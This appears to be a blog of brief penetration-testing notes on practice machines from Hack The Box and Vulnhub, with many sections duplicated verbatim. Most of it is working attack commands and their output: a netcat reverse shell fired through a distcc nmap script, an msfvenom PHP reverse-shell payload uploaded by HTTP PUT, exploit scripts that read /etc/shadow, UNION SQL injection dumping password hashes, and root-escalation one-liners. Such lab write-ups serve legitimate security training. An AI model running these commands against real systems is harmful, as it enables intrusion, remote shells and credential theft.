source: https://www.hackthebox.eu/home/machines/profile/2
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows XP microsoft-ds
3389/tcp closed ms-wbt-server
smb-vuln-cve2009-3103
smb-vuln-ms08-067
smb-vuln-ms17-010
ms08-067
TODO: but actually I cannot get reverse shell without the help of metasploit exploits
ms17-010 download nc.exe via FTP, then get reverse shell
Wednesday, October 16, 2019
HackTheBox: Lame
source: https://www.hackthebox.eu/home/machines/profile/1
my ip: 10.10.14.2
10.10.10.3
10.10.10.3
21/tcp open ftp vsftpd 2.3.4
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
3632/tcp open distccd distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
Samba 3.0.20-Debian
https://nmap.org/nsedoc/scripts/distcc-cve2004-2687.html
nmap -n -v -p3632 10.10.10.3 --script distcc-cve2004-2687
uid=1(daemon) gid=1(daemon) groups=1(daemon)
reverse shell:
nmap -n -v -p3632 10.10.10.3 --script distcc-cve2004-2687 --script-args=”distcc-cve2004-2687.cmd=’nc 10.10.14.2 443 -e /bin/bash’”
Linux lame 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
DISTRIB_DESCRIPTION="Ubuntu 8.04"
makis:x:1003:1003::/home/makis:/bin/sh
find / -perm -u=s 2>/dev/null
nmap --interactive
!sh
my ip: 10.10.14.2
10.10.10.3
10.10.10.3
21/tcp open ftp vsftpd 2.3.4
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
3632/tcp open distccd distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
Samba 3.0.20-Debian
https://nmap.org/nsedoc/scripts/distcc-cve2004-2687.html
nmap -n -v -p3632 10.10.10.3 --script distcc-cve2004-2687
uid=1(daemon) gid=1(daemon) groups=1(daemon)
reverse shell:
nmap -n -v -p3632 10.10.10.3 --script distcc-cve2004-2687 --script-args=”distcc-cve2004-2687.cmd=’nc 10.10.14.2 443 -e /bin/bash’”
Linux lame 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
DISTRIB_DESCRIPTION="Ubuntu 8.04"
makis:x:1003:1003::/home/makis:/bin/sh
find / -perm -u=s 2>/dev/null
nmap --interactive
!sh
Vulnhub: pWnOS: 2.0 (Pre-Release)
source: https://www.vulnhub.com/entry/pwnos-20-pre-release,34/
change to dhcp:
init=/bin/bash
mount -o remount,rw /
vim /etc/network/interfaces
then reboot
192.168.1.8
22/tcp open ssh OpenSSH 5.8p1 Debian 1ubuntu3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.2.17 ((Ubuntu))
maybe ubuntu 12.04
/info/
/info.php
/login/
/register
/activate
/blog
/includes
PHP Version 5.3.5-1ubuntu7
http://192.168.1.8/blog/
https://www.exploit-db.com/exploits/1191
Simple PHP Blog 0.4.0 - Multiple Remote s
perl ./1191.pl -h http://192.168.1.8/blog -e 1
perl ./1191.pl -h http://192.168.1.8/blog -e 3 -U foo -P bar
http://192.168.1.8/blog/images/cmd.php?cmd=id
reverse shell:
login, upload rs.php
http://192.168.1.8/blog/images/rs.php
Linux web 2.6.38-8-server #42-Ubuntu SMP Mon Apr 11 03:49:04 UTC 2011 x86_64 x86_64 x86_64 GNU/Linux
DISTRIB_DESCRIPTION="Ubuntu 11.04"
dan:x:1000:1000:Dan Privett,,,:/home/dan:/bin/bash
cat /var/www/mysqli_connect.php
DEFINE ('DB_USER', 'root');
DEFINE ('DB_PASSWORD', 'goodday');
mysql -uroot -pgoodday -e “SHOW DATABASES”
ERROR 1045
https://www.exploit-db.com/exploits/40839
Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' 'PTRACE_POKEDATA' Race Condition Privilege Escalation (/etc/passwd Method)
change to dhcp:
init=/bin/bash
mount -o remount,rw /
vim /etc/network/interfaces
then reboot
192.168.1.8
22/tcp open ssh OpenSSH 5.8p1 Debian 1ubuntu3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.2.17 ((Ubuntu))
maybe ubuntu 12.04
/info/
/info.php
/login/
/register
/activate
/blog
/includes
PHP Version 5.3.5-1ubuntu7
http://192.168.1.8/blog/
https://www.exploit-db.com/exploits/1191
Simple PHP Blog 0.4.0 - Multiple Remote s
perl ./1191.pl -h http://192.168.1.8/blog -e 1
perl ./1191.pl -h http://192.168.1.8/blog -e 3 -U foo -P bar
http://192.168.1.8/blog/images/cmd.php?cmd=id
reverse shell:
login, upload rs.php
http://192.168.1.8/blog/images/rs.php
Linux web 2.6.38-8-server #42-Ubuntu SMP Mon Apr 11 03:49:04 UTC 2011 x86_64 x86_64 x86_64 GNU/Linux
DISTRIB_DESCRIPTION="Ubuntu 11.04"
dan:x:1000:1000:Dan Privett,,,:/home/dan:/bin/bash
cat /var/www/mysqli_connect.php
DEFINE ('DB_USER', 'root');
DEFINE ('DB_PASSWORD', 'goodday');
mysql -uroot -pgoodday -e “SHOW DATABASES”
ERROR 1045
https://www.exploit-db.com/exploits/40839
Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' 'PTRACE_POKEDATA' Race Condition Privilege Escalation (/etc/passwd Method)
Vulnhub: pWnOS: 1.0
source: https://www.vulnhub.com/entry/pwnos-10,33/
192.168.1.6
22/tcp open ssh OpenSSH 4.6p1 Debian 5build1 (protocol 2.0)
80/tcp open http Apache httpd 2.2.4 ((Ubuntu) PHP/5.2.3-1ubuntu6)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: MSHOME)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: MSHOME)
10000/tcp open http MiniServ 0.01 (Webmin httpd)
maybe ubuntu 7.10
/.hta (Status: 403)
/.htpasswd (Status: 403)
/.htaccess (Status: 403)
/cgi-bin/ (Status: 403)
/index (Status: 200)
/index2 (Status: 200)
/index1 (Status: 200)
/index2.php (Status: 200)
/index.php (Status: 200)
/php (Status: 301)
local file inclusion:
http://192.168.1.6/index1.php?help=false&connect=../../../../etc/passwd
samba 3.0.26a
https://www.exploit-db.com/exploits/2017
Webmin < 1.290 / Usermin < 1.220 - Arbitrary File Disclosure (Perl)
perl ./2017.pl 192.168.1.6 10000 /etc/issue 0
perl ./2017.pl 192.168.1.6 10000 /etc/passwd 0
perl ./2017.pl 192.168.1.6 10000 /etc/shadow 0
perl ./2017.pl 192.168.1.6 10000 /home/obama/.ssh/authorized_keys 0
https://github.com/g0tmi1k/debian-ssh
ssh -i ./common_keys/rsa/2048/dcbe2a56e8cdea6d17495f6648329ee2-4679 obama@192.168.1.6
Linux ubuntuvm 2.6.22-14-server #1 SMP Sun Oct 14 23:34:23 GMT 2007 i686 GNU/Linux
DISTRIB_DESCRIPTION="Ubuntu 7.10"
https://www.exploit-db.com/exploits/8478
Linux Kernel 2.6 (Debian 4.0 / Ubuntu / Gentoo) UDEV < 1.4.1 - Local Privilege Escalation
192.168.1.6
22/tcp open ssh OpenSSH 4.6p1 Debian 5build1 (protocol 2.0)
80/tcp open http Apache httpd 2.2.4 ((Ubuntu) PHP/5.2.3-1ubuntu6)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: MSHOME)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: MSHOME)
10000/tcp open http MiniServ 0.01 (Webmin httpd)
maybe ubuntu 7.10
/.hta (Status: 403)
/.htpasswd (Status: 403)
/.htaccess (Status: 403)
/cgi-bin/ (Status: 403)
/index (Status: 200)
/index2 (Status: 200)
/index1 (Status: 200)
/index2.php (Status: 200)
/index.php (Status: 200)
/php (Status: 301)
local file inclusion:
http://192.168.1.6/index1.php?help=false&connect=../../../../etc/passwd
samba 3.0.26a
https://www.exploit-db.com/exploits/2017
Webmin < 1.290 / Usermin < 1.220 - Arbitrary File Disclosure (Perl)
perl ./2017.pl 192.168.1.6 10000 /etc/issue 0
perl ./2017.pl 192.168.1.6 10000 /etc/passwd 0
perl ./2017.pl 192.168.1.6 10000 /etc/shadow 0
perl ./2017.pl 192.168.1.6 10000 /home/obama/.ssh/authorized_keys 0
https://github.com/g0tmi1k/debian-ssh
ssh -i ./common_keys/rsa/2048/dcbe2a56e8cdea6d17495f6648329ee2-4679 obama@192.168.1.6
Linux ubuntuvm 2.6.22-14-server #1 SMP Sun Oct 14 23:34:23 GMT 2007 i686 GNU/Linux
DISTRIB_DESCRIPTION="Ubuntu 7.10"
https://www.exploit-db.com/exploits/8478
Linux Kernel 2.6 (Debian 4.0 / Ubuntu / Gentoo) UDEV < 1.4.1 - Local Privilege Escalation
Vulnhub: SickOs: 1.2
source: https://www.vulnhub.com/entry/sickos-12,144/
192.168.1.5
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.8 (Ubuntu Linux; protocol 2.0)
80/tcp open http lighttpd 1.4.28
maybe ubuntu 11.10/12.04
/index.php
/test/
/~sys~
curl -v -o /dev/null -s -XOPTIONS http://192.168.1.5/test/
MS-Author-Via: DAV
reverse shell:
msfvenom -p php/reverse_php LHOST=192.168.1.90 LPORT=443 -f raw > rs.php
nmap -p 80 192.168.1.5 --script http-put --script-args http-put.url=’/test/rs.php’,http-put.file=’./rs.php’
Linux ubuntu 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux
PRETTY_NAME="Ubuntu precise (12.04.4 LTS)"
john:x:1000:1000:Ubuntu 12.x,,,:/home/john:/bin/bash
https://www.exploit-db.com/exploits/33899
Chkrootkit 0.49 - Local Privilege Escalation
echo “chmod +s /bin/bash” > /tmp/update
192.168.1.5
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.8 (Ubuntu Linux; protocol 2.0)
80/tcp open http lighttpd 1.4.28
maybe ubuntu 11.10/12.04
/index.php
/test/
/~sys~
curl -v -o /dev/null -s -XOPTIONS http://192.168.1.5/test/
MS-Author-Via: DAV
reverse shell:
msfvenom -p php/reverse_php LHOST=192.168.1.90 LPORT=443 -f raw > rs.php
nmap -p 80 192.168.1.5 --script http-put --script-args http-put.url=’/test/rs.php’,http-put.file=’./rs.php’
Linux ubuntu 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux
PRETTY_NAME="Ubuntu precise (12.04.4 LTS)"
john:x:1000:1000:Ubuntu 12.x,,,:/home/john:/bin/bash
https://www.exploit-db.com/exploits/33899
Chkrootkit 0.49 - Local Privilege Escalation
echo “chmod +s /bin/bash” > /tmp/update
Tuesday, October 15, 2019
Vulnhub: SickOs: 1.1
source: https://www.vulnhub.com/entry/sickos-11,132/
192.168.1.107
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.1 (Ubuntu Linux; protocol 2.0)
3128/tcp open http-proxy Squid http proxy 3.1.19
8080/tcp closed http-proxy
maybe ubuntu 11.10/12.04
gobuster dir -p http://192.168.1.107:3128 -u http://192.168.1.107 -w /usr/share/seclists/DiscoveryWeb-Content/common.txt
/.htpasswd (Status: 403)
/.hta (Status: 403)
/.htaccess (Status: 403)
/cgi-bin/ (Status: 403)
/connect (Status: 200)
/index (Status: 200)
/index.php (Status: 200)
/robots (Status: 200)
/robots.txt (Status: 200)
/server-status (Status: 403)
192.168.1.107
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.1 (Ubuntu Linux; protocol 2.0)
3128/tcp open http-proxy Squid http proxy 3.1.19
8080/tcp closed http-proxy
maybe ubuntu 11.10/12.04
gobuster dir -p http://192.168.1.107:3128 -u http://192.168.1.107 -w /usr/share/seclists/DiscoveryWeb-Content/common.txt
/.htpasswd (Status: 403)
/.hta (Status: 403)
/.htaccess (Status: 403)
/cgi-bin/ (Status: 403)
/connect (Status: 200)
/index (Status: 200)
/index.php (Status: 200)
/robots (Status: 200)
/robots.txt (Status: 200)
/server-status (Status: 403)
curl --proxy http://192.168.1.107:3128 http://192.168.1.107/robots.txt
Dissalow: /wolfcms
http://192.168.1.107/wolfcms/docs/updating.txt
v0.8.2
https://github.com/wolfcms/wolfcms/tree/0.8.2/wolf
http://192.168.1.107/wolfcms/?/admin/login
username admin, password admin
reverse shell:
upload rs.php
http://192.168.1.107/wolfcms/public/rs.php
Linux SickOs 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux
PRETTY_NAME="Ubuntu precise (12.04.4 LTS)"
sickos:x:1000:1000:sickos,,,:/home/sickos:/bin/bash
cat /var/www/wolfcms/config.php
define(‘DB_USER’, ‘root’);
define(‘DB_PASS’, ‘john@123’);
ssh username sickos, password john@123
Vulnhub: VulnOS: 2
source: https://www.vulnhub.com/entry/vulnos-2,147/
192.168.1.106
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.6 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
6667/tcp open irc ngircd
192.168.1.106
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.6 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
6667/tcp open irc ngircd
maybe ubuntu 14.04
ngircd-21 (i686/pc/linux-gnu)
/.htaccess (Status: 403)
/.htpasswd (Status: 403)
/.hta (Status: 403)
/index.html (Status: 200)
/javascript (Status: 301)
/server-status (Status: 403)
http://192.168.1.106/jabc
/includes (Status: 301)
/misc (Status: 301)
/modules (Status: 301)
/profiles (Status: 301)
/robots.txt (Status: 200)
/scripts (Status: 301)
/sites (Status: 301)
/templates (Status: 301)
/themes (Status: 301)
/index.php (Status: 200)
/xmlrpc.php (Status: 200)
http://192.168.1.106/jabc/profiles/standard/standard.info
version = “7.26”
http://192.168.1.106/jabc/?q=node/7
For a detailed view and documentation of our products, please visit our documentation platform at /jabcd0cs/ on the server. Just login with guest/guest
http://192.168.1.106/jabcd0cs
username guest, password guest
OpenDocMan v1.2.7
https://www.exploit-db.com/exploits/32075
OpenDocMan 1.2.7 - Multiple Vulnerabilities
http://192.168.1.106/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user%20UNION%20SELECT%201,schema_name,3,4,5,6,7,8,9%20from%20information_schema.schemata
SELECT 1,schema_name,3,4,5,6,7,8,9 FROM information_schema.schemata
drupal7
jabcd0cs
SELECT 1,concat(table_schema,0x3a,table_name),3,4,5,6,7,8,9 FROM information_schema.tables
drupal7:users
jabcd0cs:odm_user
mysql:user
SELECT 1,concat(table_schema,0x3a,table_name,0x3a,column_name),3,4,5,6,7,8,9 FROM information_schema.columns
drupal7:users:name
drupal7:users:pass
jabcd0cs:odm_user:username
jabcd0cs:odm_user:password
mysql:user:User
mysql:user:Password
SELECT 1,concat(username,0x3a,password),3,4,5,6,7,8,9 FROM jabcd0cs.odm_user
webmin:b78aae356709f8c31118ea613980954b -> webmin1980
SELECT 1,concat(name,0x3a,pass),3,4,5,6,7,8,9 FROM drupal7.users
webmin:$S$DPc41p2JwLXR6vgPCi.jC7WnRMkw3Zge3pVoJFnOn6gfMfsOr/Ug
SELECT 1,concat(User,0x3a,Password),3,4,5,6,7,8,9 FROM mysql.user
root:*9CFBBC772F3F6C106020035386DA5BBBF1249A11
debian-sys-maint:*6BC5901B87B5DF07E1C2BA75C15C537EB6B4078B
phpmyadmin:*9CFBBC772F3F6C106020035386DA5BBBF1249A11
drupal7:*9CFBBC772F3F6C106020035386DA5BBBF1249A11
ssh username webmin, password webmin1980
Linux VulnOSv2 3.13.0-24-generic #47-Ubuntu SMP Fri May 2 23:31:42 UTC 2014 i686 i686 i686 GNU/Linux
PRETTY_NAME="Ubuntu 14.04.4 LTS"
/etc/passwd
vulnosadmin:x:1000:1000:vulnosadmin,,,:/home/vulnosadmin:/bin/bash
https://www.exploit-db.com/exploits/37292
Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local Privilege Escalation
Subscribe to:
Posts (Atom)